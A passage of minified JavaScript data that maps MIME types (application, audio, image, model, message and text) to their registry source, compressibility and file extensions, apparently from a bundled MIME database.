apache",extensions:["vcd"]},"application/x-cfs-compressed":{source:"apache",extensions:["cfs"]},"application/x-chat":{source:"apache",extensions:["chat"]},"application/x-chess-pgn":{source:"apache",extensions:["pgn"]},"application/x-chrome-extension":{extensions:["crx"]},"application/x-cocoa":{source:"nginx",extensions:["cco"]},"application/x-compress":{source:"apache"},"application/x-conference":{source:"apache",extensions:["nsc"]},"application/x-cpio":{source:"apache",extensions:["cpio"]},"application/x-csh":{source:"apache",extensions:["csh"]},"application/x-deb":{compressible:!1},"application/x-debian-package":{source:"apache",extensions:["deb","udeb"]},"application/x-dgc-compressed":{source:"apache",extensions:["dgc"]},"application/x-director":{source:"apache",extensions:["dir","dcr","dxr","cst","cct","cxt","w3d","fgd","swa"]},"application/x-doom":{source:"apache",extensions:["wad"]},"application/x-dtbncx+xml":{source:"apache",compressible:!0,extensions:["ncx"]},"application/x-dtbook+xml":{source:"apache",compressible:!0,extensions:["dtb"]},"application/x-dtbresource+xml":{source:"apache",compressible:!0,extensions:["res"]},"application/x-dvi":{source:"apache",compressible:!1,extensions:["dvi"]},"application/x-envoy":{source:"apache",extensions:["evy"]},"application/x-eva":{source:"apache",extensions:["eva"]},"application/x-font-bdf":{source:"apache",extensions:["bdf"]},"application/x-font-dos":{source:"apache"},"application/x-font-framemaker":{source:"apache"},"application/x-font-ghostscript":{source:"apache",extensions:["gsf"]},"application/x-font-libgrx":{source:"apache"},"application/x-font-linux-psf":{source:"apache",extensions:["psf"]},"application/x-font-pcf":{source:"apache",extensions:["pcf"]},"application/x-font-snf":{source:"apache",extensions:["snf"]},"application/x-font-speedo":{source:"apache"},"application/x-font-sunos-news":{source:"apache"},"application/x-font-type1":{source:"apache",extensions:["pfa","pfb","pfm","afm"]},"application/x-font-vfont":{source:"apache"},"application/x-freearc":{source:"apache",extensions:["arc"]},"application/x-futuresplash":{source:"apache",extensions:["spl"]},"application/x-gca-compressed":{source:"apache",extensions:["gca"]},"application/x-glulx":{source:"apache",extensions:["ulx"]},"application/x-gnumeric":{source:"apache",extensions:["gnumeric"]},"application/x-gramps-xml":{source:"apache",extensions:["gramps"]},"application/x-gtar":{source:"apache",extensions:["gtar"]},"application/x-gzip":{source:"apache"},"application/x-hdf":{source:"apache",extensions:["hdf"]},"application/x-httpd-php":{compressible:!0,extensions:["php"]},"application/x-install-instructions":{source:"apache",extensions:["install"]},"application/x-iso9660-image":{source:"apache",extensions:["iso"]},"application/x-iwork-keynote-sffkey":{extensions:["key"]},"application/x-iwork-numbers-sffnumbers":{extensions:["numbers"]},"application/x-iwork-pages-sffpages":{extensions:["pages"]},"application/x-java-archive-diff":{source:"nginx",extensions:["jardiff"]},"application/x-java-jnlp-file":{source:"apache",compressible:!1,extensions:["jnlp"]},"application/x-javascript":{compressible:!0},"application/x-keepass2":{extensions:["kdbx"]},"application/x-latex":{source:"apache",compressible:!1,extensions:["latex"]},"application/x-lua-bytecode":{extensions:["luac"]},"application/x-lzh-compressed":{source:"apache",extensions:["lzh","lha"]},"application/x-makeself":{source:"nginx",extensions:["run"]},"application/x-mie":{source:"apache",extensions:["mie"]},"application/x-mobipocket-ebook":{source:"apache",extensions:["prc","mobi"]},"application/x-mpegurl":{compressible:!1},"application/x-ms-application":{source:"apache",extensions:["application"]},"application/x-ms-shortcut":{source:"apache",extensions:["lnk"]},"application/x-ms-wmd":{source:"apache",extensions:["wmd"]},"application/x-ms-wmz":{source:"apache",extensions:["wmz"]},"application/x-ms-xbap":{source:"apache",extensions:["xbap"]},"application/x-msaccess":{source:"apache",extensions:["mdb"]},"application/x-msbinder":{source:"apache",extensions:["obd"]},"application/x-mscardfile":{source:"apache",extensions:["crd"]},"application/x-msclip":{source:"apache",extensions:["clp"]},"application/x-msdos-program":{extensions:["exe"]},"application/x-msdownload":{source:"apache",extensions:["exe","dll","com","bat","msi"]},"application/x-msmediaview":{source:"apache",extensions:["mvb","m13","m14"]},"application/x-msmetafile":{source:"apache",extensions:["wmf","wmz","emf","emz"]},"application/x-msmoney":{source:"apache",extensions:["mny"]},"application/x-mspublisher":{source:"apache",extensions:["pub"]},"application/x-msschedule":{source:"apache",extensions:["scd"]},"application/x-msterminal":{source:"apache",extensions:["trm"]},"application/x-mswrite":{source:"apache",extensions:["wri"]},"application/x-netcdf":{source:"apache",extensions:["nc","cdf"]},"application/x-ns-proxy-autoconfig":{compressible:!0,extensions:["pac"]},"application/x-nzb":{source:"apache",extensions:["nzb"]},"application/x-perl":{source:"nginx",extensions:["pl","pm"]},"application/x-pilot":{source:"nginx",extensions:["prc","pdb"]},"application/x-pkcs12":{source:"apache",compressible:!1,extensions:["p12","pfx"]},"application/x-pkcs7-certificates":{source:"apache",extensions:["p7b","spc"]},"application/x-pkcs7-certreqresp":{source:"apache",extensions:["p7r"]},"application/x-pki-message":{source:"iana"},"application/x-rar-compressed":{source:"apache",compressible:!1,extensions:["rar"]},"application/x-redhat-package-manager":{source:"nginx",extensions:["rpm"]},"application/x-research-info-systems":{source:"apache",extensions:["ris"]},"application/x-sea":{source:"nginx",extensions:["sea"]},"application/x-sh":{source:"apache",compressible:!0,extensions:["sh"]},"application/x-shar":{source:"apache",extensions:["shar"]},"application/x-shockwave-flash":{source:"apache",compressible:!1,extensions:["swf"]},"application/x-silverlight-app":{source:"apache",extensions:["xap"]},"application/x-sql":{source:"apache",extensions:["sql"]},"application/x-stuffit":{source:"apache",compressible:!1,extensions:["sit"]},"application/x-stuffitx":{source:"apache",extensions:["sitx"]},"application/x-subrip":{source:"apache",extensions:["srt"]},"application/x-sv4cpio":{source:"apache",extensions:["sv4cpio"]},"application/x-sv4crc":{source:"apache",extensions:["sv4crc"]},"application/x-t3vm-image":{source:"apache",extensions:["t3"]},"application/x-tads":{source:"apache",extensions:["gam"]},"application/x-tar":{source:"apache",compressible:!0,extensions:["tar"]},"application/x-tcl":{source:"apache",extensions:["tcl","tk"]},"application/x-tex":{source:"apache",extensions:["tex"]},"application/x-tex-tfm":{source:"apache",extensions:["tfm"]},"application/x-texinfo":{source:"apache",extensions:["texinfo","texi"]},"application/x-tgif":{source:"apache",extensions:["obj"]},"application/x-ustar":{source:"apache",extensions:["ustar"]},"application/x-virtualbox-hdd":{compressible:!0,extensions:["hdd"]},"application/x-virtualbox-ova":{compressible:!0,extensions:["ova"]},"application/x-virtualbox-ovf":{compressible:!0,extensions:["ovf"]},"application/x-virtualbox-vbox":{compressible:!0,extensions:["vbox"]},"application/x-virtualbox-vbox-extpack":{compressible:!1,extensions:["vbox-extpack"]},"application/x-virtualbox-vdi":{compressible:!0,extensions:["vdi"]},"application/x-virtualbox-vhd":{compressible:!0,extensions:["vhd"]},"application/x-virtualbox-vmdk":{compressible:!0,extensions:["vmdk"]},"application/x-wais-source":{source:"apache",extensions:["src"]},"application/x-web-app-manifest+json":{compressible:!0,extensions:["webapp"]},"application/x-www-form-urlencoded":{source:"iana",compressible:!0},"application/x-x509-ca-cert":{source:"iana",extensions:["der","crt","pem"]},"application/x-x509-ca-ra-cert":{source:"iana"},"application/x-x509-next-ca-cert":{source:"iana"},"application/x-xfig":{source:"apache",extensions:["fig"]},"application/x-xliff+xml":{source:"apache",compressible:!0,extensions:["xlf"]},"application/x-xpinstall":{source:"apache",compressible:!1,extensions:["xpi"]},"application/x-xz":{source:"apache",extensions:["xz"]},"application/x-zmachine":{source:"apache",extensions:["z1","z2","z3","z4","z5","z6","z7","z8"]},"application/x400-bp":{source:"iana"},"application/xacml+xml":{source:"iana",compressible:!0},"application/xaml+xml":{source:"apache",compressible:!0,extensions:["xaml"]},"application/xcap-att+xml":{source:"iana",compressible:!0,extensions:["xav"]},"application/xcap-caps+xml":{source:"iana",compressible:!0,extensions:["xca"]},"application/xcap-diff+xml":{source:"iana",compressible:!0,extensions:["xdf"]},"application/xcap-el+xml":{source:"iana",compressible:!0,extensions:["xel"]},"application/xcap-error+xml":{source:"iana",compressible:!0},"application/xcap-ns+xml":{source:"iana",compressible:!0,extensions:["xns"]},"application/xcon-conference-info+xml":{source:"iana",compressible:!0},"application/xcon-conference-info-diff+xml":{source:"iana",compressible:!0},"application/xenc+xml":{source:"iana",compressible:!0,extensions:["xenc"]},"application/xhtml+xml":{source:"iana",compressible:!0,extensions:["xhtml","xht"]},"application/xhtml-voice+xml":{source:"apache",compressible:!0},"application/xliff+xml":{source:"iana",compressible:!0,extensions:["xlf"]},"application/xml":{source:"iana",compressible:!0,extensions:["xml","xsl","xsd","rng"]},"application/xml-dtd":{source:"iana",compressible:!0,extensions:["dtd"]},"application/xml-external-parsed-entity":{source:"iana"},"application/xml-patch+xml":{source:"iana",compressible:!0},"application/xmpp+xml":{source:"iana",compressible:!0},"application/xop+xml":{source:"iana",compressible:!0,extensions:["xop"]},"application/xproc+xml":{source:"apache",compressible:!0,extensions:["xpl"]},"application/xslt+xml":{source:"iana",compressible:!0,extensions:["xsl","xslt"]},"application/xspf+xml":{source:"apache",compressible:!0,extensions:["xspf"]},"application/xv+xml":{source:"iana",compressible:!0,extensions:["mxml","xhvml","xvml","xvm"]},"application/yang":{source:"iana",extensions:["yang"]},"application/yang-data+json":{source:"iana",compressible:!0},"application/yang-data+xml":{source:"iana",compressible:!0},"application/yang-patch+json":{source:"iana",compressible:!0},"application/yang-patch+xml":{source:"iana",compressible:!0},"application/yin+xml":{source:"iana",compressible:!0,extensions:["yin"]},"application/zip":{source:"iana",compressible:!1,extensions:["zip"]},"application/zlib":{source:"iana"},"application/zstd":{source:"iana"},"audio/1d-interleaved-parityfec":{source:"iana"},"audio/32kadpcm":{source:"iana"},"audio/3gpp":{source:"iana",compressible:!1,extensions:["3gpp"]},"audio/3gpp2":{source:"iana"},"audio/aac":{source:"iana"},"audio/ac3":{source:"iana"},"audio/adpcm":{source:"apache",extensions:["adp"]},"audio/amr":{source:"iana",extensions:["amr"]},"audio/amr-wb":{source:"iana"},"audio/amr-wb+":{source:"iana"},"audio/aptx":{source:"iana"},"audio/asc":{source:"iana"},"audio/atrac-advanced-lossless":{source:"iana"},"audio/atrac-x":{source:"iana"},"audio/atrac3":{source:"iana"},"audio/basic":{source:"iana",compressible:!1,extensions:["au","snd"]},"audio/bv16":{source:"iana"},"audio/bv32":{source:"iana"},"audio/clearmode":{source:"iana"},"audio/cn":{source:"iana"},"audio/dat12":{source:"iana"},"audio/dls":{source:"iana"},"audio/dsr-es201108":{source:"iana"},"audio/dsr-es202050":{source:"iana"},"audio/dsr-es202211":{source:"iana"},"audio/dsr-es202212":{source:"iana"},"audio/dv":{source:"iana"},"audio/dvi4":{source:"iana"},"audio/eac3":{source:"iana"},"audio/encaprtp":{source:"iana"},"audio/evrc":{source:"iana"},"audio/evrc-qcp":{source:"iana"},"audio/evrc0":{source:"iana"},"audio/evrc1":{source:"iana"},"audio/evrcb":{source:"iana"},"audio/evrcb0":{source:"iana"},"audio/evrcb1":{source:"iana"},"audio/evrcnw":{source:"iana"},"audio/evrcnw0":{source:"iana"},"audio/evrcnw1":{source:"iana"},"audio/evrcwb":{source:"iana"},"audio/evrcwb0":{source:"iana"},"audio/evrcwb1":{source:"iana"},"audio/evs":{source:"iana"},"audio/flexfec":{source:"iana"},"audio/fwdred":{source:"iana"},"audio/g711-0":{source:"iana"},"audio/g719":{source:"iana"},"audio/g722":{source:"iana"},"audio/g7221":{source:"iana"},"audio/g723":{source:"iana"},"audio/g726-16":{source:"iana"},"audio/g726-24":{source:"iana"},"audio/g726-32":{source:"iana"},"audio/g726-40":{source:"iana"},"audio/g728":{source:"iana"},"audio/g729":{source:"iana"},"audio/g7291":{source:"iana"},"audio/g729d":{source:"iana"},"audio/g729e":{source:"iana"},"audio/gsm":{source:"iana"},"audio/gsm-efr":{source:"iana"},"audio/gsm-hr-08":{source:"iana"},"audio/ilbc":{source:"iana"},"audio/ip-mr_v2.5":{source:"iana"},"audio/isac":{source:"apache"},"audio/l16":{source:"iana"},"audio/l20":{source:"iana"},"audio/l24":{source:"iana",compressible:!1},"audio/l8":{source:"iana"},"audio/lpc":{source:"iana"},"audio/melp":{source:"iana"},"audio/melp1200":{source:"iana"},"audio/melp2400":{source:"iana"},"audio/melp600":{source:"iana"},"audio/mhas":{source:"iana"},"audio/midi":{source:"apache",extensions:["mid","midi","kar","rmi"]},"audio/mobile-xmf":{source:"iana",extensions:["mxmf"]},"audio/mp3":{compressible:!1,extensions:["mp3"]},"audio/mp4":{source:"iana",compressible:!1,extensions:["m4a","mp4a"]},"audio/mp4a-latm":{source:"iana"},"audio/mpa":{source:"iana"},"audio/mpa-robust":{source:"iana"},"audio/mpeg":{source:"iana",compressible:!1,extensions:["mpga","mp2","mp2a","mp3","m2a","m3a"]},"audio/mpeg4-generic":{source:"iana"},"audio/musepack":{source:"apache"},"audio/ogg":{source:"iana",compressible:!1,extensions:["oga","ogg","spx","opus"]},"audio/opus":{source:"iana"},"audio/parityfec":{source:"iana"},"audio/pcma":{source:"iana"},"audio/pcma-wb":{source:"iana"},"audio/pcmu":{source:"iana"},"audio/pcmu-wb":{source:"iana"},"audio/prs.sid":{source:"iana"},"audio/qcelp":{source:"iana"},"audio/raptorfec":{source:"iana"},"audio/red":{source:"iana"},"audio/rtp-enc-aescm128":{source:"iana"},"audio/rtp-midi":{source:"iana"},"audio/rtploopback":{source:"iana"},"audio/rtx":{source:"iana"},"audio/s3m":{source:"apache",extensions:["s3m"]},"audio/scip":{source:"iana"},"audio/silk":{source:"apache",extensions:["sil"]},"audio/smv":{source:"iana"},"audio/smv-qcp":{source:"iana"},"audio/smv0":{source:"iana"},"audio/sofa":{source:"iana"},"audio/sp-midi":{source:"iana"},"audio/speex":{source:"iana"},"audio/t140c":{source:"iana"},"audio/t38":{source:"iana"},"audio/telephone-event":{source:"iana"},"audio/tetra_acelp":{source:"iana"},"audio/tetra_acelp_bb":{source:"iana"},"audio/tone":{source:"iana"},"audio/tsvcis":{source:"iana"},"audio/uemclip":{source:"iana"},"audio/ulpfec":{source:"iana"},"audio/usac":{source:"iana"},"audio/vdvi":{source:"iana"},"audio/vmr-wb":{source:"iana"},"audio/vnd.3gpp.iufp":{source:"iana"},"audio/vnd.4sb":{source:"iana"},"audio/vnd.audiokoz":{source:"iana"},"audio/vnd.celp":{source:"iana"},"audio/vnd.cisco.nse":{source:"iana"},"audio/vnd.cmles.radio-events":{source:"iana"},"audio/vnd.cns.anp1":{source:"iana"},"audio/vnd.cns.inf1":{source:"iana"},"audio/vnd.dece.audio":{source:"iana",extensions:["uva","uvva"]},"audio/vnd.digital-winds":{source:"iana",extensions:["eol"]},"audio/vnd.dlna.adts":{source:"iana"},"audio/vnd.dolby.heaac.1":{source:"iana"},"audio/vnd.dolby.heaac.2":{source:"iana"},"audio/vnd.dolby.mlp":{source:"iana"},"audio/vnd.dolby.mps":{source:"iana"},"audio/vnd.dolby.pl2":{source:"iana"},"audio/vnd.dolby.pl2x":{source:"iana"},"audio/vnd.dolby.pl2z":{source:"iana"},"audio/vnd.dolby.pulse.1":{source:"iana"},"audio/vnd.dra":{source:"iana",extensions:["dra"]},"audio/vnd.dts":{source:"iana",extensions:["dts"]},"audio/vnd.dts.hd":{source:"iana",extensions:["dtshd"]},"audio/vnd.dts.uhd":{source:"iana"},"audio/vnd.dvb.file":{source:"iana"},"audio/vnd.everad.plj":{source:"iana"},"audio/vnd.hns.audio":{source:"iana"},"audio/vnd.lucent.voice":{source:"iana",extensions:["lvp"]},"audio/vnd.ms-playready.media.pya":{source:"iana",extensions:["pya"]},"audio/vnd.nokia.mobile-xmf":{source:"iana"},"audio/vnd.nortel.vbk":{source:"iana"},"audio/vnd.nuera.ecelp4800":{source:"iana",extensions:["ecelp4800"]},"audio/vnd.nuera.ecelp7470":{source:"iana",extensions:["ecelp7470"]},"audio/vnd.nuera.ecelp9600":{source:"iana",extensions:["ecelp9600"]},"audio/vnd.octel.sbc":{source:"iana"},"audio/vnd.presonus.multitrack":{source:"iana"},"audio/vnd.qcelp":{source:"iana"},"audio/vnd.rhetorex.32kadpcm":{source:"iana"},"audio/vnd.rip":{source:"iana",extensions:["rip"]},"audio/vnd.rn-realaudio":{compressible:!1},"audio/vnd.sealedmedia.softseal.mpeg":{source:"iana"},"audio/vnd.vmx.cvsd":{source:"iana"},"audio/vnd.wave":{compressible:!1},"audio/vorbis":{source:"iana",compressible:!1},"audio/vorbis-config":{source:"iana"},"audio/wav":{compressible:!1,extensions:["wav"]},"audio/wave":{compressible:!1,extensions:["wav"]},"audio/webm":{source:"apache",compressible:!1,extensions:["weba"]},"audio/x-aac":{source:"apache",compressible:!1,extensions:["aac"]},"audio/x-aiff":{source:"apache",extensions:["aif","aiff","aifc"]},"audio/x-caf":{source:"apache",compressible:!1,extensions:["caf"]},"audio/x-flac":{source:"apache",extensions:["flac"]},"audio/x-m4a":{source:"nginx",extensions:["m4a"]},"audio/x-matroska":{source:"apache",extensions:["mka"]},"audio/x-mpegurl":{source:"apache",extensions:["m3u"]},"audio/x-ms-wax":{source:"apache",extensions:["wax"]},"audio/x-ms-wma":{source:"apache",extensions:["wma"]},"audio/x-pn-realaudio":{source:"apache",extensions:["ram","ra"]},"audio/x-pn-realaudio-plugin":{source:"apache",extensions:["rmp"]},"audio/x-realaudio":{source:"nginx",extensions:["ra"]},"audio/x-tta":{source:"apache"},"audio/x-wav":{source:"apache",extensions:["wav"]},"audio/xm":{source:"apache",extensions:["xm"]},"chemical/x-cdx":{source:"apache",extensions:["cdx"]},"chemical/x-cif":{source:"apache",extensions:["cif"]},"chemical/x-cmdf":{source:"apache",extensions:["cmdf"]},"chemical/x-cml":{source:"apache",extensions:["cml"]},"chemical/x-csml":{source:"apache",extensions:["csml"]},"chemical/x-pdb":{source:"apache"},"chemical/x-xyz":{source:"apache",extensions:["xyz"]},"font/collection":{source:"iana",extensions:["ttc"]},"font/otf":{source:"iana",compressible:!0,extensions:["otf"]},"font/sfnt":{source:"iana"},"font/ttf":{source:"iana",compressible:!0,extensions:["ttf"]},"font/woff":{source:"iana",extensions:["woff"]},"font/woff2":{source:"iana",extensions:["woff2"]},"image/aces":{source:"iana",extensions:["exr"]},"image/apng":{compressible:!1,extensions:["apng"]},"image/avci":{source:"iana",extensions:["avci"]},"image/avcs":{source:"iana",extensions:["avcs"]},"image/avif":{source:"iana",compressible:!1,extensions:["avif"]},"image/bmp":{source:"iana",compressible:!0,extensions:["bmp"]},"image/cgm":{source:"iana",extensions:["cgm"]},"image/dicom-rle":{source:"iana",extensions:["drle"]},"image/emf":{source:"iana",extensions:["emf"]},"image/fits":{source:"iana",extensions:["fits"]},"image/g3fax":{source:"iana",extensions:["g3"]},"image/gif":{source:"iana",compressible:!1,extensions:["gif"]},"image/heic":{source:"iana",extensions:["heic"]},"image/heic-sequence":{source:"iana",extensions:["heics"]},"image/heif":{source:"iana",extensions:["heif"]},"image/heif-sequence":{source:"iana",extensions:["heifs"]},"image/hej2k":{source:"iana",extensions:["hej2"]},"image/hsj2":{source:"iana",extensions:["hsj2"]},"image/ief":{source:"iana",extensions:["ief"]},"image/jls":{source:"iana",extensions:["jls"]},"image/jp2":{source:"iana",compressible:!1,extensions:["jp2","jpg2"]},"image/jpeg":{source:"iana",compressible:!1,extensions:["jpeg","jpg","jpe"]},"image/jph":{source:"iana",extensions:["jph"]},"image/jphc":{source:"iana",extensions:["jhc"]},"image/jpm":{source:"iana",compressible:!1,extensions:["jpm"]},"image/jpx":{source:"iana",compressible:!1,extensions:["jpx","jpf"]},"image/jxr":{source:"iana",extensions:["jxr"]},"image/jxra":{source:"iana",extensions:["jxra"]},"image/jxrs":{source:"iana",extensions:["jxrs"]},"image/jxs":{source:"iana",extensions:["jxs"]},"image/jxsc":{source:"iana",extensions:["jxsc"]},"image/jxsi":{source:"iana",extensions:["jxsi"]},"image/jxss":{source:"iana",extensions:["jxss"]},"image/ktx":{source:"iana",extensions:["ktx"]},"image/ktx2":{source:"iana",extensions:["ktx2"]},"image/naplps":{source:"iana"},"image/pjpeg":{compressible:!1},"image/png":{source:"iana",compressible:!1,extensions:["png"]},"image/prs.btif":{source:"iana",extensions:["btif"]},"image/prs.pti":{source:"iana",extensions:["pti"]},"image/pwg-raster":{source:"iana"},"image/sgi":{source:"apache",extensions:["sgi"]},"image/svg+xml":{source:"iana",compressible:!0,extensions:["svg","svgz"]},"image/t38":{source:"iana",extensions:["t38"]},"image/tiff":{source:"iana",compressible:!1,extensions:["tif","tiff"]},"image/tiff-fx":{source:"iana",extensions:["tfx"]},"image/vnd.adobe.photoshop":{source:"iana",compressible:!0,extensions:["psd"]},"image/vnd.airzip.accelerator.azv":{source:"iana",extensions:["azv"]},"image/vnd.cns.inf2":{source:"iana"},"image/vnd.dece.graphic":{source:"iana",extensions:["uvi","uvvi","uvg","uvvg"]},"image/vnd.djvu":{source:"iana",extensions:["djvu","djv"]},"image/vnd.dvb.subtitle":{source:"iana",extensions:["sub"]},"image/vnd.dwg":{source:"iana",extensions:["dwg"]},"image/vnd.dxf":{source:"iana",extensions:["dxf"]},"image/vnd.fastbidsheet":{source:"iana",extensions:["fbs"]},"image/vnd.fpx":{source:"iana",extensions:["fpx"]},"image/vnd.fst":{source:"iana",extensions:["fst"]},"image/vnd.fujixerox.edmics-mmr":{source:"iana",extensions:["mmr"]},"image/vnd.fujixerox.edmics-rlc":{source:"iana",extensions:["rlc"]},"image/vnd.globalgraphics.pgb":{source:"iana"},"image/vnd.microsoft.icon":{source:"iana",compressible:!0,extensions:["ico"]},"image/vnd.mix":{source:"iana"},"image/vnd.mozilla.apng":{source:"iana"},"image/vnd.ms-dds":{compressible:!0,extensions:["dds"]},"image/vnd.ms-modi":{source:"iana",extensions:["mdi"]},"image/vnd.ms-photo":{source:"apache",extensions:["wdp"]},"image/vnd.net-fpx":{source:"iana",extensions:["npx"]},"image/vnd.pco.b16":{source:"iana",extensions:["b16"]},"image/vnd.radiance":{source:"iana"},"image/vnd.sealed.png":{source:"iana"},"image/vnd.sealedmedia.softseal.gif":{source:"iana"},"image/vnd.sealedmedia.softseal.jpg":{source:"iana"},"image/vnd.svf":{source:"iana"},"image/vnd.tencent.tap":{source:"iana",extensions:["tap"]},"image/vnd.valve.source.texture":{source:"iana",extensions:["vtf"]},"image/vnd.wap.wbmp":{source:"iana",extensions:["wbmp"]},"image/vnd.xiff":{source:"iana",extensions:["xif"]},"image/vnd.zbrush.pcx":{source:"iana",extensions:["pcx"]},"image/webp":{source:"apache",extensions:["webp"]},"image/wmf":{source:"iana",extensions:["wmf"]},"image/x-3ds":{source:"apache",extensions:["3ds"]},"image/x-cmu-raster":{source:"apache",extensions:["ras"]},"image/x-cmx":{source:"apache",extensions:["cmx"]},"image/x-freehand":{source:"apache",extensions:["fh","fhc","fh4","fh5","fh7"]},"image/x-icon":{source:"apache",compressible:!0,extensions:["ico"]},"image/x-jng":{source:"nginx",extensions:["jng"]},"image/x-mrsid-image":{source:"apache",extensions:["sid"]},"image/x-ms-bmp":{source:"nginx",compressible:!0,extensions:["bmp"]},"image/x-pcx":{source:"apache",extensions:["pcx"]},"image/x-pict":{source:"apache",extensions:["pic","pct"]},"image/x-portable-anymap":{source:"apache",extensions:["pnm"]},"image/x-portable-bitmap":{source:"apache",extensions:["pbm"]},"image/x-portable-graymap":{source:"apache",extensions:["pgm"]},"image/x-portable-pixmap":{source:"apache",extensions:["ppm"]},"image/x-rgb":{source:"apache",extensions:["rgb"]},"image/x-tga":{source:"apache",extensions:["tga"]},"image/x-xbitmap":{source:"apache",extensions:["xbm"]},"image/x-xcf":{compressible:!1},"image/x-xpixmap":{source:"apache",extensions:["xpm"]},"image/x-xwindowdump":{source:"apache",extensions:["xwd"]},"message/cpim":{source:"iana"},"message/delivery-status":{source:"iana"},"message/disposition-notification":{source:"iana",extensions:["disposition-notification"]},"message/external-body":{source:"iana"},"message/feedback-report":{source:"iana"},"message/global":{source:"iana",extensions:["u8msg"]},"message/global-delivery-status":{source:"iana",extensions:["u8dsn"]},"message/global-disposition-notification":{source:"iana",extensions:["u8mdn"]},"message/global-headers":{source:"iana",extensions:["u8hdr"]},"message/http":{source:"iana",compressible:!1},"message/imdn+xml":{source:"iana",compressible:!0},"message/news":{source:"iana"},"message/partial":{source:"iana",compressible:!1},"message/rfc822":{source:"iana",compressible:!0,extensions:["eml","mime"]},"message/s-http":{source:"iana"},"message/sip":{source:"iana"},"message/sipfrag":{source:"iana"},"message/tracking-status":{source:"iana"},"message/vnd.si.simp":{source:"iana"},"message/vnd.wfa.wsc":{source:"iana",extensions:["wsc"]},"model/3mf":{source:"iana",extensions:["3mf"]},"model/e57":{source:"iana"},"model/gltf+json":{source:"iana",compressible:!0,extensions:["gltf"]},"model/gltf-binary":{source:"iana",compressible:!0,extensions:["glb"]},"model/iges":{source:"iana",compressible:!1,extensions:["igs","iges"]},"model/mesh":{source:"iana",compressible:!1,extensions:["msh","mesh","silo"]},"model/mtl":{source:"iana",extensions:["mtl"]},"model/obj":{source:"iana",extensions:["obj"]},"model/step":{source:"iana"},"model/step+xml":{source:"iana",compressible:!0,extensions:["stpx"]},"model/step+zip":{source:"iana",compressible:!1,extensions:["stpz"]},"model/step-xml+zip":{source:"iana",compressible:!1,extensions:["stpxz"]},"model/stl":{source:"iana",extensions:["stl"]},"model/vnd.collada+xml":{source:"iana",compressible:!0,extensions:["dae"]},"model/vnd.dwf":{source:"iana",extensions:["dwf"]},"model/vnd.flatland.3dml":{source:"iana"},"model/vnd.gdl":{source:"iana",extensions:["gdl"]},"model/vnd.gs-gdl":{source:"apache"},"model/vnd.gs.gdl":{source:"iana"},"model/vnd.gtw":{source:"iana",extensions:["gtw"]},"model/vnd.moml+xml":{source:"iana",compressible:!0},"model/vnd.mts":{source:"iana",extensions:["mts"]},"model/vnd.opengex":{source:"iana",extensions:["ogex"]},"model/vnd.parasolid.transmit.binary":{source:"iana",extensions:["x_b"]},"model/vnd.parasolid.transmit.text":{source:"iana",extensions:["x_t"]},"model/vnd.pytha.pyox":{source:"iana"},"model/vnd.rosette.annotated-data-model":{source:"iana"},"model/vnd.sap.vds":{source:"iana",extensions:["vds"]},"model/vnd.usdz+zip":{source:"iana",compressible:!1,extensions:["usdz"]},"model/vnd.valve.source.compiled-map":{source:"iana",extensions:["bsp"]},"model/vnd.vtu":{source:"iana",extensions:["vtu"]},"model/vrml":{source:"iana",compressible:!1,extensions:["wrl","vrml"]},"model/x3d+binary":{source:"apache",compressible:!1,extensions:["x3db","x3dbz"]},"model/x3d+fastinfoset":{source:"iana",extensions:["x3db"]},"model/x3d+vrml":{source:"apache",compressible:!1,extensions:["x3dv","x3dvz"]},"model/x3d+xml":{source:"iana",compressible:!0,extensions:["x3d","x3dz"]},"model/x3d-vrml":{source:"iana",extensions:["x3dv"]},"multipart/alternative":{source:"iana",compressible:!1},"multipart/appledouble":{source:"iana"},"multipart/byteranges":{source:"iana"},"multipart/digest":{source:"iana"},"multipart/encrypted":{source:"iana",compressible:!1},"multipart/form-data":{source:"iana",compressible:!1},"multipart/header-set":{source:"iana"},"multipart/mixed":{source:"iana"},"multipart/multilingual":{source:"iana"},"multipart/parallel":{source:"iana"},"multipart/related":{source:"iana",compressible:!1},"multipart/report":{source:"iana"},"multipart/signed":{source:"iana",compressible:!1},"multipart/vnd.bint.med-plus":{source:"iana"},"multipart/voice-message":{source:"iana"},"multipart/x-mixed-replace":{source:"iana"},"text/1d-interleaved-parityfec":{source:"iana"},"text/cache-manifest":{source:"iana",compressible:!0,extensions:["appcache","manifest"]},"text/calendar":{source:"iana",extensions:["ics","ifb"]},"text/calender":{compressible:!0},"text/cmd":{compressible:!0},"text/coffeescript":{extensions:["coffee","litcoffee"]},"text/cql":{source:"iana"},"text/cql-expression":{source:"iana"},"text/cql-identifier":{source:"iana"},"text/css":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["css"]},"text/csv":{source:"iana",compressible:!0,extensions:["csv"]},"text/csv-schema":{source:"iana"},"text/directory":{source:"iana"},"text/dns":{source:"iana"},"text/ecmascript":{source:"iana"},"text/encaprtp":{source:"iana"},"text/enriched":{source:"iana"},"text/fhirpath":{source:"iana"},"text/flexfec":{source:"iana"},"text/fwdred":{source:"iana"},"text/gff3":{source:"iana"},"text/grammar-ref-list":{source:"iana"},"text/html":{source:"iana",compressible:!0,extensions:["html","htm","shtml"]},"text/jade":{extensions:["jade"]},"text/javascript":{source:"iana",compressible:!0},"text/jcr-cnd":{source:"iana"},"text/jsx":{compressible:!0,extensions:["jsx"]},"text/less":{compressible:!0,extensions:["less"]},"text/markdown":{source:"iana",compressible:!0,extensions:["markdown","md"]},"text/mathml":{source:"nginx",extensions:["mml"]},"text/mdx":{compressible:!0,extensions:["mdx"]},"text/mizar":{source:"iana"},"text/n3":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["n3"]},"text/parameters":{source:"iana",charset:"UTF-8"},"text/parityfec":{source:"iana"},"text/plain":{source:"iana",compressible:!0,extensions:["txt","text","conf","def","list","log","in","ini"]},"text/provenance-notation":{source:"iana",charset:"UTF-8"},"text/prs.fallenstein.rst":{source:"iana"},"text/prs.lines.tag":{source:"iana",extensions:["dsc"]},"text/prs.prop.logic":{source:"iana"},"text/raptorfec":{source:"iana"},"text/red":{source:"iana"},"text/rfc822-headers":{source:"iana"},"text/richtext":{source:"iana",compressible:!0,extensions:["rtx"]},"text/rtf":{source:"iana",compressible:!0,extensions:["rtf"]},"text/rtp-enc-aescm128":{source:"iana"},"text/rtploopback":{source:"iana"},"text/rtx":{source:"iana"},"text/sgml":{source:"iana",extensions:["sgml","sgm"]},"text/shaclc":{source:"iana"},"text/shex":{source:"iana",extensions:["shex"]},"text/slim":{extensions:["slim","slm"]},"text/spdx":{source:"iana",extensions:["spdx"]},"text/strings":{source:"iana"},"text/stylus":{extensions:["